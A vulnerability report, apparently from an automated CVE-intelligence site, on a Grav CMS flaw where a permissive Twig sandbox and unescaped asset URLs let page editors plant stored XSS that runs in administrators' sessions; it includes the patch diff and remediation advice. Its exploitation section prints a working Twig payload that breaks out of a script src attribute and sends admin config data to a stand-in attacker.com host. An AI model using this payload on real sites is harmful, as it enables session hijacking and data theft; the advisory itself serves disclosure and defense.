CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-8HGV-XC77-JMCR

GHSA-8HGV-XC77-JMCR: Privilege Escalation to Super-Admin via Twig Sandbox Escape and Stored XSS in Grav CMS Assets

Amit Schendel
Amit Schendel
Senior Security Researcher

Aug 21, 2026·6 min read·18 visits

Executive Summary (TL;DR)

A privilege escalation vulnerability in Grav CMS allows page editors to execute arbitrary client-side script code in administrative contexts. By combining a permissive Twig sandbox allowlist with attribute breakout in asset rendering, attackers can steal JWT tokens or create rogue administrative accounts.

An overly permissive default configuration in the Grav CMS Twig sandbox combined with a lack of neutralization of double-quote characters in the Asset rendering engine allows low-privileged page editors to inject malicious JavaScript into administrative contexts. This leads to a stored cross-site scripting (XSS) condition that compromises the sessions of super-administrators, facilitating complete privilege escalation.

Vulnerability Overview

Grav CMS is a flat-file content management system that employs a Twig-based template engine to parse page content. To ensure that content editors with draft or page editing capabilities cannot run arbitrary server-side code or access restricted system configurations, Grav routes template rendering through a Twig sandbox. This sandbox restricts the execution of dangerous classes, methods, and properties.

However, a design flaw exists in the default sandbox configuration. The sandbox allowlisted execution privileges on the Grav\Common\Assets class, specifically allowing page editors to invoke the addCss and addJs methods. These methods add resources dynamically to the global queue before rendering the final HTML page.

Because the Twig sandbox only restricted the invocation of methods but did not validate the contents of the arguments passed, page editors could supply arbitrary URLs containing payload attributes. Because these registrations mutate the global state of the shared asset service, they bypass safe HTML parsing filters executed during the page-save phase, leading directly to execution contexts at rendering time.

Root Cause Analysis

The underlying security issue is caused by two architectural flaws acting in concert. The first flaw is a permissive configuration setting located in the sandbox initialization file system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php. The system configuration default allowlisted the methods __tostring, addcss, and addjs on the Grav\Common\Assets class.

This configuration allowed any page editor with permissions to write or modify markdown pages containing Twig blocks to invoke the asset queuing system. The second flaw is located within the core asset compilation engine. When Grav constructs the HTML output for queued assets, it performs string concatenation rather than utilizing a programmatic DOM or structured attribute-binding API.

Specifically, when rendering a JavaScript asset, the engine wraps the supplied URL string in double-quote characters. If an attacker injects a double-quote character inside the URL string, they can close the src attribute context prematurely. The browser interprets any subsequent strings as independent, active attributes on the <script> tag, such as event handlers (e.g., onload or onerror).

Code Analysis

To understand the vulnerability, consider the original asset generation mechanism in system/src/Grav/Common/Assets/Js.php prior to version 2.0.20:

// Vulnerable render mechanism in Js.php
return '<script src="' . trim($this->asset) . $this->renderQueryString() . '"' . $this->renderAttributes() . $this->integrityHash($this->asset) . "></script>\n";

Because $this->asset is injected verbatim into the source string, any user-supplied double-quote character causes an early termination of the src attribute. This permits the insertion of malicious payloads.

The official patch in commit a4e8c4b748eb338ee7ab1dd26e7620a93bade047 resolves the bug at both points of failure. In SandboxDefaults.php, the permissive methods were removed:

-            ['class' => 'Grav\\Common\\Assets', 'methods' => '__tostring, addcss, addjs'],
+            // addcss/addjs are deliberately NOT allowlisted: the sandbox arbitrates
+            // the call, not its downstream effect. Both mutate the shared Assets
+            // service and the theme then emits the registration as a <script src>/
+            // <link href> in the page head, which the save-time XSS scan cannot see.
+            // A site that truly needs them can re-add via allowed_methods.
+            ['class' => 'Grav\\Common\\Assets', 'methods' => '__tostring'],

Additionally, a new neutralization sink was introduced within the shared utility traits (system/src/Grav/Common/Assets/Traits/AssetUtilsTrait.php) to sanitize character strings:

    /**
     * Neutralise the attribute-breakout characters in an asset URL.
     */
    protected function escapeAssetUrl($url)
    {
        return str_replace(
            ['"', "'", '<', '>'],
            ['&quot;', '&#39;', '&lt;', '&gt;'],
            (string) $url
        );
    }

All subsequent asset render pipelines were updated to pass $this->asset through escapeAssetUrl() to ensure that the attribute context cannot be broken.

Exploitation Methodology

To execute this attack, an attacker requires a standard user account with page editing permissions. First, the attacker creates a new page or edits an existing one, ensuring that Twig processing is explicitly enabled in the frontmatter configuration (process: twig: true).

Second, the attacker inputs a Twig expression that calls the asset management object with a crafted URL. This URL is structured to close the src attribute and append a malicious payload inside an active handler:

{{ assets.addJs('https://attacker.com/malicious.js" onload="fetch(\'/admin/config\').then(r=>r.text()).then(d=>fetch(\'https://attacker.com/exfil?data=\' + btoa(d)))') }}

When a super-administrator previews this page inside the administrator portal, the page is rendered within an iframe sharing the administrative panel's origin. The application processes the Twig call and renders the following HTML tag inside the document head:

<script src="https://attacker.com/malicious.js" onload="fetch('/admin/config').then(r=>r.text()).then(d=>fetch('https://attacker.com/exfil?data=' + btoa(d)))" ...></script>

When the administrator's browser parses this script tag, it triggers the inline onload event handler. The execution of this script occurs within the authenticated session context of the administrator, allowing the attacker to access local storage, steal active JSON Web Tokens (JWTs), or perform privileged background requests.

Impact Assessment

The impact of this vulnerability is critical. Although it requires standard editor authentication to inject the payload, it changes the execution scope (S:C) and compromises administrative interfaces. Because Grav CMS displays page previews directly within the dashboard to allow administrators to review content changes, the attack executes transparently during regular operations.

Once the arbitrary script executes under the context of an administrator, the attacker can hijack the administrative session. This leads to complete access to administrative APIs, including the ability to read system configuration parameters, access database settings, exfiltrate sensitive files, or create additional administrative users.

In scenarios where the system configuration allows system commands or shell execution via plugin panels, this vulnerability can be leveraged as an initial stage to achieve remote code execution (RCE) on the underlying server. No specific non-default configuration is required to render the application vulnerable.

Remediation & Detection Guidance

Remediation requires updating the core installation of Grav CMS to version 2.0.20 or later. This release updates the default sandbox configurations and applies strict asset attribute escaping.

To identify potential exploitation attempts, administrators should audit existing markdown content files (user/pages) for unauthorized or suspicious Twig syntax utilizing asset management arrays. Look for direct references to the following structures:

  • assets.addJs
  • assets.addCss
  • assets.add

If upgrading immediately is not possible, the threat can be mitigated by disabling these methods manually. Open system/config/security.yaml (or the local override user/config/security.yaml) and verify that the security.twig_sandbox.allowed_methods directive does not allow addjs, addcss, or other asset modification calls for the Grav\Common\Assets class.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.0/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Affected Systems

Grav CMS

Affected Versions Detail

Product
Affected Versions
Fixed Version
Grav CMS
Trilby Media
< 2.0.202.0.20
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork (AV:N)
CVSS v3.1 Score9.0 (Critical)
Exploit MaturityPoC (Proof of Concept)
KEV StatusNot Listed
Affected Versions< 2.0.20

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Vulnerability fixed in Grav core codebase by lead developer Andy Miller
2026-08-20
Grav CMS version 2.0.20 officially released containing the security patches
2026-08-20
Public disclosure of GitHub Security Advisory GHSA-8HGV-XC77-JMCR
2026-08-20

References & Sources

  • [1]GitHub Security Advisory GHSA-8HGV-XC77-JMCR
  • [2]Official Patch Commit
  • [3]Grav CMS Version 2.0.20 Release Notes

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•32 minutes ago•GHSA-VGHH-5RFX-XHQ8
9.9

CVE-2026-48749: Arbitrary Host File Read and Write via Malicious Image Symlink in Canonical LXD and Incus

CVE-2026-48749 (tracked as GHSA-vghh-5rfx-xhq8 for LXD and GHSA-2q3f-q5pq-g8wv for Incus) is a critical container escape vulnerability in the Canonical LXD and Linux Containers Incus system container managers. By importing a specially crafted container image archive containing duplicate tar member headers, an authenticated attacker can replace the instance rootfs directory with a symbolic link pointing to the underlying host root filesystem. When performing file operations on a stopped container, the privileged forkfile helper binary resolves the symbolic link without confinement and chroots directly into the host filesystem, granting arbitrary root-level file read and write access.

Amit Schendel
Amit Schendel
2 views•9 min read
•about 2 hours ago•GHSA-FMC8-P6Q7-75CC
9.9

GHSA-fmc8-p6q7-75cc: Argument Injection in Canonical LXD Backup Compression Leads to Host Root Code Execution

GHSA-fmc8-p6q7-75cc (associated with CVE-2026-48755) is a critical argument injection vulnerability in Canonical LXD (github.com/canonical/lxd). The vulnerability occurs during instance and storage volume backup operations when processing the user-supplied compression_algorithm configuration parameter. While LXD validates the primary executable token against an allowlist of supported compression binaries, it fails to sanitize or restrict subsequent tokens parsed via shellquote.Split. These additional arguments are passed directly to exec.Command. An authenticated attacker with privileges to trigger backups can inject command-line flags for utilities like zstd to read staged files from a container filesystem and write them to arbitrary paths on the underlying host filesystem, such as /etc/cron.d/, achieving root-level arbitrary code execution on the host.

Amit Schendel
Amit Schendel
6 views•10 min read
•about 2 hours ago•GHSA-PJFF-C2WC-F6JM
9.9

CVE-2026-48769: Arbitrary File Write and Remote Code Execution via Trusted Image Hash in Canonical LXD and Linux Containers Incus

A critical path traversal vulnerability caused by improper input validation (CWE-20) exists in the direct image download handler of Canonical LXD and Linux Containers Incus. When an authenticated user requests an image import using the URL source type, the daemon reads the image fingerprint from an untrusted HTTP response header (`Incus-Image-Hash` or `LXD-Image-Hash`) without validating that it conforms to a SHA-256 format. This unvalidated string is concatenated directly into a filesystem path via `filepath.Join` prior to file creation and cryptographic verification, allowing directory traversal sequences to write arbitrary files on the host filesystem as root.

Alon Barad
Alon Barad
7 views•10 min read
•about 7 hours ago•CVE-2026-9639
6.5

CVE-2026-9639: Authenticated Denial of Service via Nil-Pointer Dereference in Canonical LXD Custom Volume Backup Import

CVE-2026-9639 (GHSA-j93m-3j9p-m5m8) is a null pointer dereference vulnerability in Canonical LXD affecting versions 5.0.0 through 5.21.4 and 6.0 through 6.8. The flaw resides in the (*lxdBackend).CreateCustomVolumeFromBackup method within lxd/storage/backend_lxd.go. An authenticated attacker with the can_create_storage_volumes permission can upload a crafted custom volume backup tarball that omits the expires_at field on a snapshot entry, triggering an unhandled SIGSEGV panic and terminating the LXD daemon.

Amit Schendel
Amit Schendel
6 views•9 min read
•about 8 hours ago•CVE-2026-33050
8.8

CVE-2026-33050: OS Command Injection in GeoNode Vector Upload Handler

An operating system command injection vulnerability (CWE-78) exists in GeoNode versions prior to 5.1.0. The vulnerability occurs in the vector upload processing pipeline when handling user-supplied geospatial files. By supplying a crafted layer name containing shell metacharacters, an authenticated attacker with basic data upload privileges can execute arbitrary commands on the underlying server or container hosting the GeoNode application and Celery worker processes.

Alon Barad
Alon Barad
6 views•9 min read
•about 9 hours ago•CVE-2026-46429
5.5

CVE-2026-46429: Unrestricted File Upload and Validation Bypass in GeoNode

GeoNode versions prior to 5.0.3 contain an unrestricted file upload vulnerability (CWE-434) within the document and dataset ingestion architecture. Authenticated low-privileged users can bypass upload validation via direct REST API interactions, file extension masquerading, metadata mutation via PATCH requests, or malicious archive submissions. This allows attackers to store and serve dangerous file types, alter on-disk file references, or trigger path traversal and resource exhaustion during archive extraction.

Amit Schendel
Amit Schendel
7 views•10 min read